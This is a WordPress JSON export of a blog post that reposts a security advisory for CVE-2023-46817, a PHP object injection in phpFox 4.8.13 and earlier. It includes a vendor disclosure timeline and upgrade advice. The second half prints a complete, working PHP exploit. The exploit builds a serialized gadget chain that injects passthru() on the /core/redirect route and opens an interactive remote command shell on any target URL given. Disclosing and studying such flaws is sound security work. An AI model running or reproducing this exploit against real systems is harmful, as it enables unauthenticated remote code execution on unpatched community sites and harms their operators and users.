{"id":50647,"date":"2023-10-27T17:12:41","date_gmt":"2023-10-27T14:12:41","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/175384\/KIS-2023-12.txt"},"modified":"2023-10-31T08:54:15","modified_gmt":"2023-10-31T05:24:15","slug":"phpfox-4-8-13-php-object-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/phpfox-4-8-13-php-object-injection\/","title":{"rendered":"phpFox 4.8.13 PHP Object Injection"},"content":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nphpFox &lt;= 4.8.13 (redirect) PHP Object Injection Vulnerability<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n[-] Software Link:<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"WCsLUuWcfo\"><p><a href=\"https:\/\/www.phpfox.com\/\" target=\"_blank\" rel=\"noopener\">Social Network Platform for Online Community Builders<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Social Network Platform for Online Community Builders&#8221; &#8212; phpFox\" src=\"https:\/\/www.phpfox.com\/embed\/#?secret=asTZRcwpKC#?secret=WCsLUuWcfo\" data-secret=\"WCsLUuWcfo\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n[-] Affected Versions:<\/p>\n<p>Version 4.8.13 and prior versions.<\/p>\n[-] Vulnerability Description:<\/p>\n<p>User input passed through the &#8220;url&#8221; request parameter to the<br \/>\n\/core\/redirect route is not properly sanitized before being used in a<br \/>\ncall to the unserialize() PHP function. This can be exploited by remote,<br \/>\nunauthenticated attackers to inject arbitrary PHP objects into the<br \/>\napplication scope, allowing them to perform a variety of attacks, such<br \/>\nas executing arbitrary PHP code.<\/p>\n[-] Proof of Concept:<\/p>\n<p>https:\/\/karmainsecurity.com\/pocs\/CVE-2023-46817.php<\/p>\n<p>(Packet Storm note: POC included at bottom)<\/p>\n[-] Solution:<\/p>\n<p>Upgrade to version 4.8.14 or later.<\/p>\n[-] Disclosure Timeline:<\/p>\n[05\/10\/2023] &#8211; Vendor contacted through https:\/\/clients.phpfox.com<br \/>\n[05\/10\/2023] &#8211; Vendor response stating &#8220;we currently do not have such<br \/>\nsecurity requirements&#8221;<br \/>\n[06\/10\/2023] &#8211; CVE identifier requested<br \/>\n[09\/10\/2023] &#8211; Vulnerability details shared with the vendor, stating the<br \/>\nissue is quite critical<br \/>\n[17\/10\/2023] &#8211; Vendor contacted again, asking for an update<br \/>\n[18\/10\/2023] &#8211; Vendor response stating &#8220;this issue is fixed in our<br \/>\nlatest version (4.8.13)&#8221;, but that&#8217;s not the truth<br \/>\n[26\/10\/2023] &#8211; Version 4.8.14 released<br \/>\n[27\/10\/2023] &#8211; CVE identifier assigned<br \/>\n[27\/10\/2023] &#8211; Public disclosure<\/p>\n[-] CVE Reference:<\/p>\n<p>The Common Vulnerabilities and Exposures project (cve.mitre.org)<br \/>\nhas assigned the name CVE-2023-46817 to this vulnerability.<\/p>\n[-] Credits:<\/p>\n<p>Vulnerability discovered by Egidio Romano.<\/p>\n[-] Original Advisory:<\/p>\n<p>https:\/\/karmainsecurity.com\/KIS-2023-12<\/p>\n[-] Other References:<\/p>\n<p>https:\/\/docs.phpfox.com\/display\/FOX4MAN\/phpFox+4.8.14<\/p>\n<p>&#8212; CVE-2023-46817.php poc &#8212;<\/p>\n<p>&lt;?php<\/p>\n<p>\/*<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\nphpFox &lt;= 4.8.13 (redirect) PHP Object Injection Vulnerability<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>author&#8230;&#8230;&#8230;&#8230;..: Egidio Romano aka EgiX<br \/>\nmail&#8230;&#8230;&#8230;&#8230;&#8230;.: n0b0d13s[at]gmail[dot]com<br \/>\nsoftware link&#8230;&#8230;.: https:\/\/www.phpfox.com<\/p>\n<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br \/>\n| This proof of concept code was written for educational purpose only. |<br \/>\n| Use it at your own risk. Author will be not responsible for any damage. |<br \/>\n+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<\/p>\n[-] Vulnerability Description:<\/p>\n<p>User input passed through the &#8220;url&#8221; request parameter to the \/core\/redirect route is<br \/>\nnot properly sanitized before being used in a call to the unserialize() PHP function.<br \/>\nThis can be exploited by remote, unauthenticated attackers to inject arbitrary PHP<br \/>\nobjects into the application scope, allowing them to perform a variety of attacks,<br \/>\nsuch as executing arbitrary PHP code.<\/p>\n[-] Original Advisory:<\/p>\n<p>https:\/\/karmainsecurity.com\/KIS-2023-12<br \/>\n*\/<\/p>\n<p>set_time_limit(0);<br \/>\nerror_reporting(E_ERROR);<\/p>\n<p>if (!extension_loaded(&#8220;curl&#8221;)) die(&#8220;[+] cURL extension required!\\n&#8221;);<\/p>\n<p>print &#8220;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+\\n&#8221;;<br \/>\nprint &#8220;| phpFox &lt;= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\\n&#8221;;<br \/>\nprint &#8220;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+\\n&#8221;;<\/p>\n<p>if ($argc != 2) die(&#8220;\\nUsage: php $argv[0] &lt;URL&gt;\\n\\n&#8221;);<\/p>\n<p>function encode($string)<br \/>\n{<br \/>\n$string = addslashes(gzcompress($string, 9));<br \/>\nreturn urlencode(strtr(base64_encode($string), &#8216;+\/=&#8217;, &#8216;-_,&#8217;));<br \/>\n}<\/p>\n<p>class Phpfox_Request<br \/>\n{<br \/>\nprivate $_sName = &#8220;EgiX&#8221;;<br \/>\nprivate $_sPluginRequestGet = &#8220;print &#8216;_____&#8217;; passthru(base64_decode(\\$_SERVER[&#8216;HTTP_CMD&#8217;])); print &#8216;_____&#8217;; die;&#8221;;<br \/>\n}<\/p>\n<p>class Core_Objectify<br \/>\n{<br \/>\nprivate $__toString;<\/p>\n<p>function __construct($callback)<br \/>\n{<br \/>\n$this-&gt;__toString = $callback;<br \/>\n}<br \/>\n}<\/p>\n<p>print &#8220;\\n[+] Launching shell on {$argv[1]}\\n&#8221;;<\/p>\n<p>$popChain = serialize(new Core_Objectify([new Phpfox_Request, &#8220;get&#8221;]));<br \/>\n$popChain = str_replace(&#8216;Core_Objectify&#8217;, &#8216;Core\\Objectify&#8217;, $popChain);<\/p>\n<p>$ch = curl_init();<\/p>\n<p>curl_setopt($ch, CURLOPT_URL, &#8220;{$argv[1]}index.php\/core\/redirect&#8221;);<br \/>\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br \/>\ncurl_setopt($ch, CURLOPT_POSTFIELDS, &#8220;url=&#8221;.encode($popChain));<\/p>\n<p>while(1)<br \/>\n{<br \/>\nprint &#8220;\\nphpFox-shell# &#8220;;<br \/>\nif (($cmd = trim(fgets(STDIN))) == &#8220;exit&#8221;) break;<br \/>\ncurl_setopt($ch, CURLOPT_HTTPHEADER, [&#8220;CMD: &#8220;.base64_encode($cmd)]);<br \/>\npreg_match(&#8220;\/_____(.*)_____\/s&#8221;, curl_exec($ch), $m) ? print $m[1] : die(&#8220;\\n[+] Exploit failed!\\n&#8221;);<br \/>\n}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; phpFox &lt;= 4.8.13 (redirect) PHP Object Injection Vulnerability &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; [-] Software Link: Social Network Platform for Online Community Builders [-] Affected Versions: Version 4.8.13 and prior versions. [-] Vulnerability Description: User input passed through the &#8220;url&#8221; request parameter to the \/core\/redirect route is not properly sanitized before being used in a call to the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-50647","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50647","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=50647"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50647\/revisions"}],"predecessor-version":[{"id":50760,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/50647\/revisions\/50760"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=50647"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=50647"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=50647"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}